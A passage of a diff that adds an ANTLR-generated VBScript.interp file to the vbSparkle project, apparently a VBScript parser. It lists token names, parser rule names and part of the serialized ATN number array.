/dev/null +++ b/Sources/vbSparkle/VBScript.interp @@ -0,0 +1,622 @@ +token literal names: +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +null +'&' +':=' +'@' +',' +null +'$' +'.' +'=' +'!' +'>=' +'>' +'#' +'<=' +'{' +'(' +'<' +'-' +'-=' +'*' +'<>' +'%' +'+' +'+=' +'^' +'}' +')' +';' +'[' +']' +null +null +null +null +null +null +null +null +null +null +null +':' +null +null +null + +token symbolic names: +null +ACCESS +ADDRESSOF +ALIAS +AND +ATTRIBUTE +APPACTIVATE +APPEND +AS +BEEP +BEGIN +BEGINPROPERTY +BINARY +BOOLEAN +BYVAL +BYREF +BYTE +CALL +CASE +CHDIR +CHDRIVE +CLASS +CLOSE +COLLECTION +CONST +DATE +PTRSAFE +DECLARE +DEFBOOL +DEFBYTE +DEFDATE +DEFDBL +DEFDEC +DEFCUR +DEFINT +DEFLNG +DEFOBJ +DEFSNG +DEFSTR +DEFVAR +DELETESETTING +DIM +DO +DOUBLE +EACH +ELSE +ELSEIF +END_ENUM +END_CLASS +END_FUNCTION +END_IF +END_PROPERTY +END_SELECT +END_SUB +END_TYPE +END_WITH +END +ENDPROPERTY +ENUM +EQV +ERASE +ERROR +EVENT +EXIT_DO +EXIT_FOR +EXIT_FUNCTION +EXIT_PROPERTY +EXIT_SUB +FALSE +FILECOPY +FRIEND +FOR +FUNCTION +GET +GLOBAL +GOSUB +GOTO +IF +IMP +IMPLEMENTS +IN +INPUT +IS +INTEGER +KILL +LOAD +LOCK +LONG +LOOP +LEN +LET +LIB +LIKE +LINE_INPUT +LOCK_READ +LOCK_WRITE +LOCK_READ_WRITE +LSET +MACRO_IF +MACRO_ELSEIF +MACRO_ELSE +MACRO_END_IF +ME +MID +MKDIR +MOD +NAME +NEXT +NEW +NOT +NOTHING +NULL +OBJECT +ON +ON_ERROR +ON_LOCAL_ERROR +OPEN +OPTIONAL +OPTION_BASE +OPTION_EXPLICIT +OPTION_COMPARE +OPTION_PRIVATE_MODULE +OR +OUTPUT +PARAMARRAY +PRESERVE +PRINT +PRIVATE +PROPERTY_GET +PROPERTY_LET +PROPERTY_SET +PUBLIC +PUT +RANDOM +RANDOMIZE +RAISEEVENT +READ +READ_WRITE +REDIM +REM +RESET +RESUME +RETURN +RMDIR +RSET +SAVEPICTURE +SAVESETTING +SEEK +SELECT +SENDKEYS +SET +SETATTR +SHARED +SINGLE +SPC +STATIC +DEFAULT +STEP +STOP +STRING +SUB +TAB +TEXT +THEN +TIME +TO +TRUE +TYPE +TYPEOF +UNLOAD +UNLOCK +UNTIL +VARIANT +VERSION +WEND +WHILE +WIDTH +WITH +WITHEVENTS +WRITE +XOR +AMPERSAND +ASSIGN +AT +COMMA +DIV +DOLLAR +DOT +EQ +EXCLAMATIONMARK +GEQ +GT +HASH +LEQ +LBRACE +LPAREN +LT +MINUS +MINUS_EQ +MULT +NEQ +PERCENT +PLUS +PLUS_EQ +POW +RBRACE +RPAREN +SEMICOLON +L_SQUARE_BRACKET +R_SQUARE_BRACKET +STRINGLITERAL +DATELITERAL +HEXLITERAL +INTEGERLITERAL +DOUBLELITERAL +FILENUMBER +OCTALLITERAL +GUID +IDENTIFIER +NEWLINE +INLINE_SEP +INLN +COMMENT +WS +LINE_CONTINUATION + +rule names: +startRule +module +moduleReferences +moduleReference +moduleReferenceValue +moduleReferenceComponent +moduleHeader +moduleConfig +moduleConfigElement +moduleAttributes +moduleOptions +moduleOption +moduleBody +moduleBodyElement +controlProperties +cp_Properties +cp_PropertyName +cp_PropertyValue +cp_NestedProperty +cp_ControlType +cp_ControlIdentifier +blockSwitch +block +moduleBlock +attributeStmt +lineLabel +inlineBlock +inlineBlockStmt +blockStmt +appActivateStmt +beepStmt +chDirStmt +chDriveStmt +closeStmt +constStmt +constSubStmt +dateStmt +declareStmt +deftypeStmt +deleteSettingStmt +doLoopStmt +endStmt +enumerationStmt +classStmt +enumerationStmt_Constant +eraseStmt +errorStmt +eventStmt +exitStmt +filecopyStmt +forEachStmt +forNextStmt +functionStmt +getStmt +goSubStmt +goToStmt +ifThenElseStmt +inlineIfThenElseStmt +inlineIfBlockStmt +inlineElseBlockStmt +ifBlockStmt +ifConditionStmt +ifElseIfBlockStmt +ifElseBlockStmt +implementsStmt +inputStmt +killStmt +midStmt +letStmt +lineInputStmt +loadStmt +lockStmt +lsetStmt +macroIfThenElseStmt +macroIfBlockStmt +macroElseIfBlockStmt +macroElseBlockStmt +mkdirStmt +nameStmt +onErrorStmt +onGoToStmt +onGoSubStmt +openStmt +outputList +outputList_Expression +printStmt +propertyGetStmt +propertySetStmt +propertyLetStmt +putStmt +raiseEventStmt +randomizeStmt +redimStmt +redimSubStmt +resetStmt +resumeStmt +returnStmt +rmdirStmt +rsetStmt +savepictureStmt +saveSettingStmt +seekStmt +selectCaseStmt +sC_Case +sC_Cond +sC_CondExpr +sendkeysStmt +setattrStmt +setStmt +stopStmt +subStmt +timeStmt +typeStmt +typeStmt_Element +typeOfStmt +unloadStmt +unlockStmt +valueStmt +variableStmt +variableListStmt +variableSubStmt +whileWendStmt +widthStmt +withStmt +writeStmt +explicitCallStmt +eCS_ProcedureCall +eCS_MemberProcedureCall +implicitCallStmt_InBlock +noParenthesisArgs +iCS_B_ProcedureCall +iCS_B_MemberProcedureCall +implicitCallStmt_InStmt +iCS_S_VariableOrProcedureCall +iCS_S_ProcedureOrArrayCall +iCS_S_NestedProcedureCall +iCS_S_MembersCall +iCS_S_MemberCall +iCS_S_DefaultMemberAccess +argsCall +argCall +defaultMemberAccess +argList +arg +argDefaultValue +subscripts +subscript +ambiguousIdentifier +asTypeClause +baseType +certainIdentifier +comparisonOperator +complexType +fieldLength +letterrange +delimitedLiteral +literal +publicPrivateVisibility +publicPrivateGlobalVisibility +type +typeHint +visibility +ambiguousKeyword + + +atn: +[4, 1, 224, 3114, 2, 0, 7, 0, 2, 1, 7, 1, 2, 2, 7, 2, 2, 3, 7, 3, 2, 4, 7, 4, 2, 5, 7, 5, 2, 6, 7, 6, 2, 7, 7, 7, 2, 8, 7, 8, 2, 9, 7, 9, 2, 10, 7, 10, 2, 11, 7, 11, 2, 12, 7, 12, 2, 13, 7, 13, 2, 14, 7, 14, 2, 15, 7, 15, 2, 16, 7, 16, 2, 17, 7, 17, 2, 18, 7, 18, 2, 19, 7, 19, 2, 20, 7, 20, 2, 21, 7, 21, 2, 22, 7, 22, 2, 23, 7, 23, 2, 24, 7, 24, 2, 25, 7, 25, 2, 26, 7, 26, 2, 27, 7, 27, 2, 28, 7, 28, 2, 29, 7, 29, 2, 30, 7, 30, 2, 31, 7, 31, 2, 32, 7, 32, 2, 33, 7, 33, 2, 34, 7, 34, 2, 35, 7, 35, 2, 36, 7, 36, 2, 37, 7, 37, 2, 38, 7, 38, 2, 39, 7, 39, 2, 40, 7, 40, 2, 41, 7, 41, 2, 42, 7, 42, 2, 43, 7, 43, 2, 44, 7, 44, 2, 45, 7, 45, 2, 46, 7, 46, 2, 47, 7, 47, 2, 48, 7, 48, 2, 49, 7, 49, 2, 50, 7, 50, 2, 51, 7, 51, 2, 52, 7, 52, 2, 53, 7, 53, 2, 54, 7, 54, 2, 55, 7, 55, 2, 56, 7, 56, 2, 57, 7, 57, 2, 58, 7, 58, 2, 59, 7, 59, 2, 60, 7, 60, 2, 61, 7, 61, 2, 62, 7, 62, 2, 63, 7, 63, 2, 64, 7, 64, 2, 65, 7, 65, 2, 66, 7, 66, 2, 67, 7, 67, 2, 68, 7, 68, 2, 69, 7, 69, 2, 70, 7, 70, 2, 71, 7, 71, 2, 72, 7, 72, 2, 73, 7, 73, 2, 74, 7, 74, 2, 75, 7, 75, 2, 76, 7, 76, 2, 77, 7, 77, 2, 78, 7, 78, 2, 79, 7, 79, 2, 80, 7, 80, 2, 81, 7, 81, 2, 82, 7, 82, 2, 83, 7, 83, 2, 84, 7, 84, 2, 85, 7, 85, 2, 86, 7, 86, 2, 87, 7, 87, 2, 88, 7, 88, 2, 89, 7, 89, 2, 90, 7, 90, 2, 91, 7, 91, 2, 92, 7, 92, 2, 93, 7, 93, 2, 94, 7, 94, 2, 95, 7, 95, 2, 96, 7, 96, 2, 97, 7, 97, 2, 98, 7, 98, 2, 99, 7, 99, 2, 100, 7, 100, 2, 101, 7, 101, 2, 102, 7, 102, 2, 103, 7, 103, 2, 104, 7, 104, 2, 105, 7, 105, 2, 106, 7, 106, 2, 107, 7, 107, 2, 108, 7, 108, 2, 109, 7, 109, 2, 110, 7, 110, 2, 111, 7, 111, 2, 112, 7, 112, 2, 113, 7, 113, 2, 114, 7, 114, 2, 115, 7, 115, 2, 116, 7, 116, 2, 117, 7, 117, 2, 118, 7, 118, 2, 119, 7, 119, 2, 120, 7, 120, 2, 121, 7, 121, 2, 122, 7, 122, 2, 123, 7, 123, 2, 124, 7, 124, 2, 125, 7, 125, 2, 126, 7, 126, 2, 127, 7, 127, 2, 128, 7, 128, 2, 129, 7, 129, 2, 130, 7, 130, 2, 131, 7, 131, 2, 132, 7, 132, 2, 133, 7, 133, 2, 134, 7, 134, 2, 135, 7, 135, 2, 136, 7, 136, 2, 137, 7, 137, 2, 138, 7, 138, 2, 139, 7, 139, 2, 140, 7, 140, 2, 141, 7, 141, 2, 142, 7, 142, 2, 143, 7, 143, 2, 144, 7, 144, 2, 145, 7, 145, 2, 146, 7, 146, 2, 147, 7, 147, 2, 148, 7, 148, 2, 149, 7, 149, 2, 150, 7, 150, 2, 151, 7, 151, 2, 152, 7, 152, 2, 153, 7, 153, 2, 154, 7, 154, 2, 155, 7, 155, 2, 156, 7, 156, 2, 157, 7, 157, 2, 158, 7, 158, 2, 159, 7, 159, 2, 160, 7, 160, 2, 161, 7, 161, 2, 162, 7, 162, 1, 0, 1, 0, 1, 0, 1, 1, 3, 1, 331, 8, 1, 1, 1, 5, 1, 334, 8, 1, 10, 1, 12, 1, 337, 9, 1, 1, 1, 1, 1, 4, 1, 341, 8, 1, 11, 1, 12, 1, 342, 3, 1, 345, 8, 1, 1, 1, 3, 1, 348, 8, 1, 1, 1, 5, 1, 351, 8, 1, 10, 1, 12, 1, 354, 9, 1, 1, 1, 3, 1, 357, 8, 1, 1, 1, 5, 1, 360, 8, 1, 10, 1, 12, 1, 363, 9, 1, 1, 1, 3, 1, 366, 8, 1, 1, 1, 5, 1, 369, 8, 1, 10, 1, 12, 1, 372, 9, 1, 1, 1, 3, 1, 375, 8, 1, 1, 1, 5, 1, 378, 8, 1, 10, 1, 12, 1, 381, 9, 1, 1, 1, 3, 1, 384, 8, 1, 1, 1, 5, 1, 387, 8, 1, 10, 1, 12, 1, 390, 9, 1, 1, 1, 3, 1, 393, 8, 1, 1, 1, 5, 1, 396, 8, 1, 10, 1, 12, 1, 399, 9, 1, 1, 1, 3, 1, 402, 8, 1, 1, 2, 4, 2, 405, 8, 2, 11, 2, 12, 2, 406, 1, 3, 1, 3, 3, 3, 411, 8, 3, 1, 3, 1, 3, 3, 3, 415, 8, 3, 1, 3, 1, 3, 1, 3, 3, 3, 420, 8, 3, 1, 3, 3, 3, 423, 8, 3, 1, 3, 5, 3, 426, 8, 3, 10, 3, 12, 3, 429, 9, 3, 1, 4, 1, 4, 1, 5, 1, 5, 1, 6, 1, 6, 1, 6, 1, 6, 1, 6, 3, 6, 440, 8, 6, 1, 7, 1, 7, 4, 7, 444, 8, 7, 11, 7, 12, 7, 445, 1, 7, 4, 7, 449, 8, 7, 11, 7, 12, 7, 450, 1, 7, 1, 7, 4, 7, 455, 8, 7, 11, 7, 12, 7, 456, 1, 8, 1, 8, 3, 8, 461, 8, 8, 1, 8, 1, 8, 3, 8, 465, 8, 8, 1, 8, 1, 8, 1, 8, 1, 9, 1, 9, 4, 9, 472, 8, 9, 11, 9, 12, 9, 473, 4, 9, 476, 8, 9, 11, 9, 12, 9, 477, 1, 10, 1, 10, 4, 10, 482, 8, 10, 11, 10, 12, 10, 483, 4, 10, 486, 8, 10, 11, 10, 12, 10, 487, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 1, 11, 3, 11, 498, 8, 11, 1, 12, 1, 12, 3, 12, 502, 8, 12, 1, 12, 4, 12, 505, 8, 12, 11, 12, 12, 12, 506, 1, 12, 4, 12, 510, 8, 12, 11, 12, 12, 12, 511, 3, 12, 514, 8, 12, 1, 12, 3, 12, 517, 8, 12, 1, 12, 5, 12, 520, 8, 12, 10, 12, 12, 12, 523, 9, 12, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 1, 13, 3, 13, 537, 8, 13, 1, 14, 3, 14, 540, 8, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 1, 14, 3, 14, 548, 8, 14, 1, 14, 4, 14, 551, 8, 14, 11, 14, 12, 14, 552, 1, 14, 4, 14, 556, 8, 14, 11, 14, 12, 14, 557, 1, 14, 1, 14, 5, 14, 562, 8, 14, 10, 14, 12, 14, 565, 9, 14, 1, 15, 1, 15, 3, 15, 569, 8, 15, 1, 16, 1, 16, 3, 16, 573, 8, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 3, 16, 580, 8, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 1, 16, 3, 16, 588, 8, 16, 5, 16, 590, 8, 16, 10, 16, 12, 16, 593, 9, 16, 1, 17, 3, 17, 596, 8, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 1, 17, 3, 17, 605, 8, 17, 1, 18, 3, 18, 608, 8, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 1, 18, 3, 18, 616, 8, 18, 1, 18, 1, 18, 3, 18, 620, 8, 18, 1, 18, 4, 18, 623, 8, 18, 11, 18, 12, 18, 624, 1, 18, 4, 18, 628, 8, 18, 11, 18, 12, 18, 629, 3, 18, 632, 8, 18, 1, 18, 1, 18, 4, 18, 636, 8, 18, 11, 18, 12, 18, 637, 1, 19, 1, 19, 1, 20, 1, 20, 1, 21, 1, 21, 3, 21, 646, 8, 21, 1, 21, 1, 21, 3, 21, 650, 8, 21, 3, 21, 652, 8, 21, 1, 22, 1, 22, 4, 22, 656, 8, 22, 11, 22, 12, 22, 657, 1, 22, 3, 22, 661, 8, 22, 1, 22, 5, 22, 664, 8, 22, 10, 22, 12, 22, 667, 9, 22, 1, 23, 1, 23, 1, 24, 1, 24, 1, 24, 1, 24, 3, 24, 675, 8, 24, 1, 24, 1, 24, 3, 24, 679, 8, 24, 1, 24, 1, 24, 3, 24, 683, 8, 24, 1, 24, 1, 24, 3, 24, 687, 8, 24, 1, 24, 5, 24, 690, 8, 24, 10, 24, 12, 24, 693, 9, 24, 1, 25, 1, 25, 3, 25, 697, 8, 25, 1, 25, 1, 25, 3, 25, 701, 8, 25, 1, 26, 1, 26, 3, 26, 705, 8, 26, 1, 26, 1, 26, 1, 26, 4, 26, 710, 8, 26, 11, 26, 12, 26, 711, 1, 26, 3, 26, 715, 8, 26, 3, 26, 717, 8, 26, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 1, 27, 3, 27, 786, 8, 27, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 1, 28, 3, 28, 856, 8, 28, 1, 29, 1, 29, 1, 29, 1, 29, 3, 29, 862, 8, 29, 1, 29, 1, 29, 3, 29, 866, 8, 29, 1, 29, 3, 29, 869, 8, 29, 1, 30, 1, 30, 1, 31, 1, 31, 1, 31, 1, 31, 1, 32, 1, 32, 1, 32, 1, 32, 1, 33, 1, 33, 1, 33, 1, 33, 3, 33, 885, 8, 33, 1, 33, 1, 33, 3, 33, 889, 8, 33, 1, 33, 5, 33, 892, 8, 33, 10, 33, 12, 33, 895, 9, 33, 3, 33, 897, 8, 33, 1, 34, 1, 34, 1, 34, 3, 34, 902, 8, 34, 1, 34, 1, 34, 1, 34, 1, 34, 3, 34, 908, 8, 34, 1, 34, 1, 34, 3, 34, 912, 8, 34, 1, 34, 5, 34, 915, 8, 34, 10, 34, 12, 34, 918, 9, 34, 1, 35, 1, 35, 3, 35, 922, 8, 35, 1, 35, 1, 35, 3, 35, 926, 8, 35, 1, 35, 3, 35, 929, 8, 35, 1, 35, 1, 35, 3, 35, 933, 8, 35, 1, 35, 1, 35, 1, 36, 1, 36, 3, 36, 939, 8, 36, 1, 36, 1, 36, 3, 36, 943, 8, 36, 1, 36, 1, 36, 1, 37, 1, 37, 1, 37, 3, 37, 950, 8, 37, 1, 37, 1, 37, 1, 37, 1, 37, 3, 37, 956, 8, 37, 1, 37, 1, 37, 3, 37, 960, 8, 37, 1, 37, 3, 37, 963, 8, 37, 1, 37, 1, 37, 1, 37, 3, 37, 968, 8, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 1, 37, 3, 37, 978, 8, 37, 1, 37, 3, 37, 981, 8, 37, 1, 37, 3, 37, 984, 8, 37, 1, 37, 1, 37, 3, 37, 988, 8, 37, 1, 38, 1, 38, 1, 38, 1, 38, 3, 38, 994, 8, 38, 1, 38, 1, 38, 3, 38, 998, 8, 38, 1, 38, 5, 38, 1001, 8, 38, 10, 38, 12, 38, 1004, 9, 38, 1, 39, 1, 39, 1, 39, 1, 39, 3, 39, 1010, 8, 39, 1, 39, 1, 39, 3, 39, 1014, 8, 39, 1, 39, 1, 39, 3, 39, 1018, 8, 39, 1, 39, 1, 39, 3, 39, 1022, 8, 39, 1, 39, 3, 39, 1025, 8, 39, 1, 40, 1, 40, 4, 40, 1029, 8, 40, 11, 40, 12, 40, 1030, 1, 40, 1, 40, 4, 40, 1035, 8, 40, 11, 40, 12, 40, 1036, 3, 40, 1039, 8, 40, 1, 40, 1, 40, 1, 40, 1, 40, 1, 40, 3, 40, 1046, 8, 40, 1, 40, 1, 40, 4, 40, 1050, 8, 40, 11, 40, 12, 40, 1051, 1, 40, 1, 40, 4, 40, 1056, 8, 40, 11, 40, 12, 40, 1057, 3, 40, 1060, 8, 40, 1, 40, 1, 40, 1, 40, 1, 40, 4, 40, 1066, 8, 40, 11, 40, 12, 40, 1067, 1, 40, 1, 40, 4, 40, 1072, 8, 40, 11, 40, 12, 40, 1073, 1, 40, 1, 40, 1, 40, 1, 40, 3, 40, 1080, 8, 40, 1, 40, 1, 40, 3, 40, 1084, 8, 40, 1, 41, 1, 41, 1, 42, 1, 42, 1, 42, 3, 42, 1091, 8, 42, 1, 42, 1, 42, 1, 42, 1, 42, 4, 42, 1097, 8, 42, 11, 42, 12, 42, 1098, 1, 42, 5, 42, 1102, 8, 42, 10, 42, 12, 42, 1105, 9, 42, 1, 42, 1, 42, 1, 43, 1, 43, 1, 43, 3, 43, 1112, 8, 43, 1, 43, 1, 43, 1, 43, 1, 43, 4, 43, 1118, 8, 43, 11, 43, 12, 43, 1119, 1, 43, 1, 43, 4, 43, 1124, 8, 43, 11, 43, 12, 43, 1125, 3, 43, 1128, 8, 43, 1, 43, 1, 43, 1, 44, 1, 44, 3, 44, 1134, 8, 44, 1, 44, 1, 44, 3, 44, 1138, 8, 44, 1, 44, 3, 44, 1141, 8, 44, 1, 44, 4, 44, 1144, 8, 44, 11, 44, 12, 44, 1145, 1, 45, 1, 45, 1, 45, 1, 45, 3, 45, 1152, 8, 45, 1, 45, 1, 45, 3, 45, 1156, 8, 45, 1, 45, 5, 45, 1159, 8, 45, 10, 45, 12, 45, 1162, 9, 45, 1, 46, 1, 46, 1, 46, 1, 46, 1, 47, 1, 47, 1, 47, 3, 47, 1171, 8, 47, 1, 47, 1, 47, 1, 47, 1, 47, 3, 47, 1177, 8, 47, 1, 47, 1, 47, 1, 48, 1, 48, 1, 49, 1, 49, 1, 49, 1, 49, 3, 49, 1187, 8, 49, 1, 49, 1, 49, 3, 49, 1191, 8, 49, 1, 49, 1, 49, 1, 50, 1, 50, 1, 50, 1, 50, 3, 50, 1199, 8, 50, 1, 50, 1, 50, 3, 50, 1203, 8, 50, 1, 50, 3, 50, 1206, 8, 50, 1, 50, 1, 50, 3, 50, 1210, 8, 50, 1, 50, 1, 50, 4, 50, 1214, 8, 50, 11, 50, 12, 50, 1215, 1, 50, 1, 50, 4, 50, 1220, 8, 50, 11, 50, 12, 50, 1221, 3, 50, 1224, 8, 50, 1, 50, 1, 50, 3, 50, 1228, 8, 50, 1, 50, 3, 50, 1231, 8, 50, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1237, 8, 51, 1, 51, 1, 51, 3, 51, 1241, 8, 51, 1, 51, 3, 51, 1244, 8, 51, 1, 51, 1, 51, 3, 51, 1248, 8, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1256, 8, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1261, 8, 51, 1, 51, 4, 51, 1264, 8, 51, 11, 51, 12, 51, 1265, 1, 51, 1, 51, 4, 51, 1270, 8, 51, 11, 51, 12, 51, 1271, 3, 51, 1274, 8, 51, 1, 51, 1, 51, 1, 51, 1, 51, 3, 51, 1280, 8, 51, 3, 51, 1282, 8, 51, 1, 52, 1, 52, 1, 52, 3, 52, 1287, 8, 52, 1, 52, 1, 52, 3, 52, 1291, 8, 52, 1, 52, 1, 52, 3, 52, 1295, 8, 52, 1, 52, 1, 52, 1, 52, 1, 52, 3, 52, 1301, 8, 52, 1, 52, 3, 52, 1304, 8, 52, 1, 52, 1, 52, 3, 52, 1308, 8, 52, 1, 52, 3, 52, 1311, 8, 52, 1, 52, 4, 52, 1314, 8, 52, 11, 52, 12, 52, 1315, 1, 52, 3, 52, 1319, 8, 52, 1, 52, 1, 52, 5, 52, 1323, 8, 52, 10, 52, 12, 52, 1326, 9, 52, 1, 52, 4, 52, 1329, 8, 52, 11, 52, 12, 52, 1330, 3, 52, 1333, 8, 52, 1, 52, 5, 52, 1336, 8, 52, 10, 52, 12, 52, 1339, 9, 52, 1, 52, 1, 52, 1, 53, 1, 53, 1, 53, 1, 53, 3, 53, 1347, 8, 53, 1, 53, 1, 53, 3, 53, 1351, 8, 53, 1, 53, 3, 53, 1354, 8, 53, 1, 53, 3, 53, 1357, 8, 53, 1, 53, 1, 53, 3, 53, 1361, 8, 53, 1, 53, 1, 53, 1, 54, 1, 54, 1, 54, 1, 54, 1, 55, 1, 55, 1, 55, 1, 55, 1, 56, 1, 56, 5, 56, 1375, 8, 56, 10, 56, 12, 56, 1378, 9, 56, 1, 56, 3, 56, 1381, 8, 56, 1, 56, 1, 56, 1, 57, 1, 57, 3, 57, 1387, 8, 57, 1, 57, 5, 57, 1390, 8, 57, 10, 57, 12, 57, 1393, 9, 57, 1, 57, 3, 57, 1396, 8, 57, 1, 58, 1, 58, 3, 58, 1400, 8, 58, 1, 58, 1, 58, 3, 58, 1404, 8, 58, 1, 58, 1, 58, 4, 58, 1408, 8, 58, 11, 58, 12, 58, 1409, 1, 58, 1, 58, 1, 59, 3, 59, 1415, 8, 59, 1, 59, 1, 59, 1, 59, 1, 59, 1, 60, 1, 60, 3, 60, 1423, 8, 60, 1, 60, 1, 60, 3, 60, 1427, 8, 60, 1, 60, 1, 60, 4, 60, 1431, 8, 60, 11, 60, 12, 60, 1432, 1, 60, 1, 60, 4, 60, 1437, 8, 60, 11, 60, 12, 60, 1438, 3, 60, 1441, 8, 60, 1, 61, 1, 61, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 1, 62, 4, 62, 1451, 8, 62, 11, 62, 12, 62, 1452, 1, 62, 1, 62, 4, 62, 1457, 8, 62, 11, 62, 12, 62, 1458, 3, 62, 1461, 8, 62, 1, 63, 1, 63, 4, 63, 1465, 8, 63, 11, 63, 12, 63, 1466, 1, 63, 1, 63, 4, 63, 1471, 8, 63, 11, 63, 12, 63, 1472, 3, 63, 1475, 8, 63, 1, 64, 1, 64, 1, 64, 1, 64, 1, 65, 1, 65, 1, 65, 1, 65, 3, 65, 1485, 8, 65, 1, 65, 1, 65, 3, 65, 1489, 8, 65, 1, 65, 4, 65, 1492, 8, 65, 11, 65, 12, 65, 1493, 1, 66, 1, 66, 1, 66, 1, 66, 1, 67, 1, 67, 3, 67, 1502, 8, 67, 1, 67, 1, 67, 3, 67, 1506, 8, 67, 1, 67, 1, 67, 3, 67, 1510, 8, 67, 1, 67, 1, 67, 3, 67, 1514, 8, 67, 1, 67, 1, 67, 3, 67, 1518, 8, 67, 1, 67, 1, 67, 3, 67, 1522, 8, 67, 1, 67, 1, 67, 3, 67, 1526, 8, 67, 1, 67, 1, 67, 3, 67, 1530, 8, 67, 1, 67, 3, 67, 1533, 8, 67, 1, 67, 3, 67, 1536, 8, 67, 1, 67, 1, 67, 3, 67, 1540, 8, 67, 1, 67, 1, 67, 3, 67, 1544, 8, 67, 1, 67, 1, 67, 1, 68, 1, 68, 3, 68, 1550, 8, 68, 1, 68, 1, 68, 3, 68, 1554, 8, 68, 1, 68, 1, 68, 3, 68, 1558, 8, 68, 1, 68, 1, 68, 1, 69, 1, 69, 1, 69, 1, 69, 3, 69, 1566, 8, 69, 1, 69, 1, 69, 3, 69, 1570, 8, 69, 1, 69, 1, 69, 1, 70, 1, 70, 1, 70, 1, 70, 1, 71, 1, 71, 1, 71, 1, 71, 3, 71, 1582, 8, 71, 1, 71, 1, 71, 3, 71, 1586, 8, 71, 1, 71, 1, 71, 1, 71, 1, 71, 1, 71, 3, 71, 1593, 8, 71, 3, 71, 1595, 8, 71, 1, 72, 1, 72, 1, 72, 1, 72, 3, 72, 1601, 8, 72, 1, 72, 1, 72, 3, 72, 1605, 8, 72, 1, 72, 1, 72, 1, 73, 1, 73, 5, 73, 1611, 8, 73, 10, 73, 12, 73, 1614, 9, 73, 1, 73, 3, 73, 1617, 8, 73, 1, 73, 1, 73, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 1, 74, 4, 74, 1627, 8, 74, 11, 74, 12, 74, 1628, 1, 74, 1, 74, 4, 74, 1633, 8, 74, 11, 74, 12, 74, 1634, 3, 74, 1637, 8, 74, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 1, 75, 4, 75, 1645, 8, 75, 11, 75, 12, 75, 1646, 1, 75, 1, 75, 4, 75, 1651, 8, 75, 11, 75, 12, 75, 1652, 3, 75, 1655, 8, 75, 1, 76, 1, 76, 4, 76, 1659, 8, 76, 11, 76, 12, 76, 1660, 1, 76, 1, 76, 4, 76, 1665, 8, 76, 11, 76, 12, 76, 1666, 3, 76, 1669, 8, 76, 1, 77, 1, 77, 1, 77, 1, 77, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 78, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 1, 79, 3, 79, 1691, 8, 79, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 1, 80, 3, 80, 1701, 8, 80, 1, 80, 1, 80, 3, 80, 1705, 8, 80, 1, 80, 5, 80, 1708, 8, 80, 10, 80, 12, 80, 1711, 9, 80, 1, 81, 1, 81, 1, 81, 1, 81, 1, 81, 1, 81, 1, 81, 1, 81, 3, 81, 1721, 8, 81, 1, 81, 1, 81, 3, 81, 1725, 8, 81, 1, 81, 5, 81, 1728, 8, 81, 10, 81, 12, 81, 1731, 9, 81, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 3, 82, 1744, 8, 82, 1, 82, 1, 82, 3, 82, 1748, 8, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 1, 82, 3, 82, 1757, 8, 82, 1, 82, 1, 82, 3, 